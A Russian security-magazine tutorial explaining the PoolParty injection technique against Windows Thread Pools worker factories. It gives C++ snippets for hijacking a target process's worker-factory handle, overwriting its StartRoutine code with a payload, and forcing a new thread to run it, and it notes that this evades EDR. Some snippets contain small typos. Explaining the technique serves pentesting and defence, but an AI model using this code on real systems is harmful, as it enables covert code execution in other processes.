Не­дав­но появил­ся новый вид инжектов в легитим­ные про­цес­сы. Называ­ется он PoolParty и исполь­зует Windows Thread Pools — мас­штаб­ный и слож­ный механизм управле­ния потока­ми в Windows. Пред­лагаю разоб­рать­ся, как устро­ен этот механизм и как его мож­но исполь­зовать в пен­тестер­ских целях.

Ин­жекты — это тех­ника внед­рения сво­его кода в сто­рон­ние про­цес­сы с целью получе­ния кон­тро­ля или выпол­нения нуж­ных дей­ствий. Пос­коль­ку такое может про­вер­нуть не толь­ко пен­тестер, но и зло­умыш­ленник, понима­ние этих тех­ник поз­воля­ет эффектив­но пре­дот­вра­щать ата­ки и укреплять защищен­ность.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Windows Thread Pools

Ме­ханизм Windows Thread Pools приз­ван зна­читель­но упростить прог­раммис­там управле­ние потока­ми. Под капотом реша­ются задачи асин­хрон­ного вза­имо­дей­ствия и управле­ния про­изво­дитель­ностью при помощи пере­исполь­зования сущес­тву­ющих потоков — это сок­раща­ет зат­раты ресур­сов на их соз­дание и унич­тожение. Заод­но решены проб­лемы с оче­редя­ми потоков и еще вагоном мел­ких тон­костей, которые бы све­ли с ума прог­раммис­та, если бы тот пытал­ся реали­зовать все это самос­тоятель­но.

Код, управля­ющий пулами потоков, пре­иму­щес­твен­но рас­полага­ется в режиме поль­зовате­ля (ntdll.dll), и толь­ко неболь­шая его часть находит­ся в ядре — поэто­му не при­ходит­ся тра­тить ресур­сы на час­тое перек­лючение кон­тек­стов меж­ду ядром и юзер­спей­сом.

Вот основные узлы Windows Thread Pools:

Имен­но эти час­ти механиз­ма Thread Pools наибо­лее инте­рес­ны с точ­ки зре­ния экс­плу­ата­ции тех­ники PoolParty.

На­до ска­зать, что все про­цес­сы, работа­ющие в Windows, исполь­зуют Thread Pools по умол­чанию. Давай поп­робу­ем в этом убе­дить­ся экспе­римен­таль­но — запус­тим Process Explorer, выберем любой про­цесс и перей­дем на вклад­ку Handles.

Фабрики в процессе svchost.exe
Фаб­рики в про­цес­се svchost.exe

Как видишь, про­цесс svchost.exe исполь­зует Worker Factory, а зна­чит, механизм Thread Pools акти­вен.

Для демонс­тра­ции тех­ники PoolParty мы поп­робу­ем ата­ковать рабочие фаб­рики. А для это­го нуж­но понять, как они соз­дают­ся.

NTSTATUS NTAPI NtCreateWorkerFactory(
_Out_ PHANDLE WorkerFactoryHandleReturn,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE CompletionPortHandle,
_In_ HANDLE WorkerProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID StartParameter,
_In_opt_ ULONG MaxThreadCount,
_In_opt_ SIZE_T StackReserve,
_In_opt_ SIZE_T StackCommit
);

NtCreateWorkerFactory — фун­кция NTAPI, которая соз­дает рабочую фаб­рику Thread Pools. Обра­ти вни­мание на инте­рес­ные аргу­мен­ты — WorkerProcessHandle и StartRoutine.

StartRoutine — это ука­затель на код, который будет выпол­нен фаб­рикой при запус­ке нового потока, а WorkerProcessHandle — дес­крип­тор про­цес­са, в кон­тек­сте которо­го будут выпол­нять­ся рабочие потоки. Это может быть дес­крип­тор текуще­го про­цес­са или дру­гого для рас­пре­делен­ной обра­бот­ки. А что, если поп­робовать модифи­циро­вать код StartRoutine, что­бы он выпол­нял наш пей­лоад, таким обра­зом зас­тавляя фаб­рику работать на нас?

Но до непос­редс­твен­ной модифи­кации StartRoutine нуж­на неболь­шая под­готов­ка.

Захват целевого дескриптора

Вза­имо­дей­ствие с эле­мен­тами Thread Pools реали­зует­ся через дес­крип­торы. Соот­ветс­твен­но, для получе­ния дос­тупа к рабочей фаб­рике целево­го про­цес­са нуж­но сна­чала най­ти ее хендл и зах­ватить его, исполь­зуя фун­кцию WinAPI DuplicateHandle.

Дес­крип­торы Thread Pools име­ют нес­коль­ко типов: если нужен дос­туп к рабочей фаб­рике, то понадо­бит­ся дес­крип­тор с типом объ­екта TpWorkerFactory, если к оче­реди тай­мера, то IRTimer, а если нуж­но обра­тить­ся к оче­реди вво­да‑вывода, то дес­крип­тор с типом IoCompletion. Мы ата­куем рабочую фаб­рику, соот­ветс­твен­но, ищем тип дес­крип­тора TpWorkerFactory.

В про­цес­се будут исполь­зовать­ся фун­кции NTAPI NtQueryInformationProcess и NtQueryObject, их адре­са нуж­но будет получить динами­чес­ки из ntdll.dll. Адре­са дру­гих фун­кций NTAPI, упо­мина­емых в статье, будут получать­ся ана­логич­но.

typedef NTSTATUS(NTAPI* proto_NtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* proto_NtQueryObject)(
_In_opt_ HANDLE Handle,
_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
_Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
_In_ ULONG ObjectInformationLength,
_Out_opt_ PULONG ReturnLength
);
...
proto_NtQueryInformationProcess ptr_NtQueryInformationProcess = nullptr;
proto_NtQueryObject ptr_NtQueryObject = nullptr;
ptr_NtQueryInformationProcess = reinterpret_cast<proto_NtQueryInformationProcess>(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess"));
prt_NtQueryObject = reinterpret_cast<proto_NtQueryObject>(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject"));

Да­лее при помощи фун­кции GetProcessHandleCount получа­ем спи­сок всех откры­тых дес­крип­торов для целево­го про­цес­са и выделя­ем память для струк­тур PROCESS_HANDLE_SNAPSHOT_INFORMATION и PROCESS_HANDLE_TABLE_ENTRY_INFO. Памяти нуж­но с запасом — на слу­чай, если количес­тво дес­крип­торов изме­нит­ся с момен­та их получе­ния.

GetProcessHandleCount(targetProcess, (PDWORD)&handles);
szTypeInfo = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION) + ((handles + 5) * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO));
processes = static_cast<PPROCESS_HANDLE_SNAPSHOT_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, szTypeInfo));

За­пол­няем ранее выделен­ную память информа­цией о дес­крип­торах про­цес­са при помощи вызова NtQueryInformationProcess с аргу­мен­том ProcessHandleInformation.

ptr_NtQueryInformationProcess(
targetProcess,
// ProcessHandleInformation
(PROCESSINFOCLASS)51,
// PPROCESS_HANDLE_SNAPSHOT_INFORMATION
processes,
szTypeInfo,
NULL);

Да­лее необ­ходимо зах­ватить все дес­крип­торы про­цес­са, находя­щиеся в processes->NumberOfHandles. Для это­го для каж­дого дес­крип­тора вызыва­ем DuplicateHandle, при помощи NtQueryObject получа­ем по нему информа­цию в струк­туре PUBLIC_OBJECT_TYPE_INFORMATION и отсе­иваем нуж­ные нам дес­крип­торы — с типом TpWorkerFactory.

DuplicateHandle(targetProcess,
processes->Handles[i].HandleValue,
GetCurrentProcess(),
&gotchedHandle,
accessFlags,
FALSE,
NULL)
prt_NtQueryObject(gotchedHandle,
ObjectTypeInformation,
// Вызываем NtQueryObject с NULL, чтобы получить данные о размере необходимой памяти
NULL,
NULL,
(PULONG)&objTypeLen);
objTypeInfo = static_cast<PPUBLIC_OBJECT_TYPE_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objTypeLen));
prt_NtQueryObject(gotchedHandle,
ObjectTypeInformation,
objTypeInfo,
objTypeLen,
NULL);
if (wcsncmp(L"TpWorkerFactory", objTypeInfo->TypeName.Buffer, wcslen(L"TpWorkerFactory")) == 0) {
// Нашли!
}
HeapFree(GetProcessHeap(), 0, objTypeInfo);

Нуж­ные дес­крип­торы получе­ны, перехо­дим к самому инте­рес­ному — перех­вату управле­ния при помощи модифи­кации кода StartRoutine.

Модифицируем StartRoutine

Са­му StartRoutine пос­ле соз­дания фаб­рики изме­нить нель­зя (она, разуме­ется, уже соз­дана в сто­рон­нем про­цес­се), а вот код, на который она ука­зыва­ет, — мож­но! Для про­дол­жения ата­ки нам пот­ребу­ются сле­дующие NTAPI:

Рас­смот­рим их про­тоти­пы:

NtQueryInformationWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
_Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
_In_ ULONG WorkerFactoryInformationLength,
_Out_opt_ PULONG ReturnLength
);
NtSetInformationWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
_In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
_In_ ULONG WorkerFactoryInformationLength
);

Сна­чала получим информа­цию о нашей фаб­рике (точ­нее, о StartRoutine, о которой мы говори­ли ранее) при помощи вызова NtQueryInformationWorkerFactory с аргу­мен­том WorkerFactoryBasicInformation. Так­же нам понадо­бит­ся запол­нить струк­туру WORKER_FACTORY_BASIC_INFORMATION.

ptr_NtQueryInformationWorkerFactory(
gotchedHandle,
WorkerFactoryBasicInformation,
// factoryInf это структура типа
&factoryInf,
WORKER_FACTORY_BASIC_INFORMATION
sizeof(WORKER_FACTORY_BASIC_INFORMATION),
nullptr);

Даль­ше самое инте­рес­ное — непос­редс­твен­ная модифи­кация StartRoutine:

VirtualProtectEx(
targetProcess,
factoryInf.StartRoutine,
szPayload,
PAGE_READWRITE,
(PDWORD)&oldProtect);
WriteProcessMemory(
targetProcess,
// Адрес, по которому пишем
factoryInf.StartRoutine,
// Пейлоад
addrPayload,
// Размер пейлоада
szPayload,
nullptr);
VirtualProtectEx(
targetProcess,
factoryInf.StartRoutine,
szPayload,
oldProtect,
(PDWORD)&oldProtect );

Пос­ле того как наша фаб­рика будет «заряже­на», починим минималь­ное количес­тво потоков в пуле, ведь мы соз­даем один лиш­ний поток — свой! Для это­го вос­поль­зуем­ся фун­кци­ей NtSetInformationWorkerFactory.

// Увеличили минимум потоков на 1
threadsCount = factoryInf.TotalWorkerCount + 1;
ptr_NtSetInformationWorkerFactory(
gotchedHandle,
WorkerFactoryThreadMinimum,
&threadsCount,
sizeof(uint32_t));

Уве­личе­ние минималь­ного чис­ла потоков в пуле — это спо­соб гаран­тировать выпол­нение нашего пей­лоада. Изме­нив код в фаб­рике StartRoutine, необ­ходимо соз­дать новый поток, который выпол­нит этот код. Уве­личе­ние парамет­ра WorkerFactoryThreadMinimum дела­ет это воз­можным.

Об­рати вни­мание: мы сей­час разоб­рали клю­чевой шаг в акти­вации ата­ки, пос­коль­ку без это­го наш пей­лоад не будет выпол­нен (ну или нам при­дет­ся дол­го ждать без каких‑либо гаран­тий).

В ито­ге для того, что­бы запус­тить пей­лоад, не понадо­билось вызывать стан­дар­тные фун­кции соз­дания потоков и про­цес­сов. Имен­но это меша­ет анти­вирус­ным средс­твам обна­ружи­вать ата­ку: такой под­ход лома­ет стан­дар­тный пат­терн поведе­ния, который ожи­дает уви­деть EDR.

Выводы

Пен­тесте­ры могут исполь­зовать опи­сан­ную тех­нику для скры­того внед­рения кода в высокоп­ривиле­гиро­ван­ные про­цес­сы. С точ­ки зре­ния защиты рост популяр­ности PoolParty — это сиг­нал улуч­шать монито­ринг сис­темных вызовов и совер­шенс­тво­вать кон­троль прав дос­тупа к сис­темным объ­ектам. И конеч­но же, всег­да нуж­но сле­дить за сво­евре­мен­ным обновле­нием сис­тем безопас­ности.

В зак­лючение отме­чу, что мы здесь рас­смот­рели лишь один вари­ант тех­ники PoolParty — ата­ки на рабочие фаб­рики. При желании мож­но ата­ковать все три оче­реди, с которы­ми работа­ет механизм Windows Thread Pools, но это, как показы­вает прак­тика, чуть менее эффектив­но.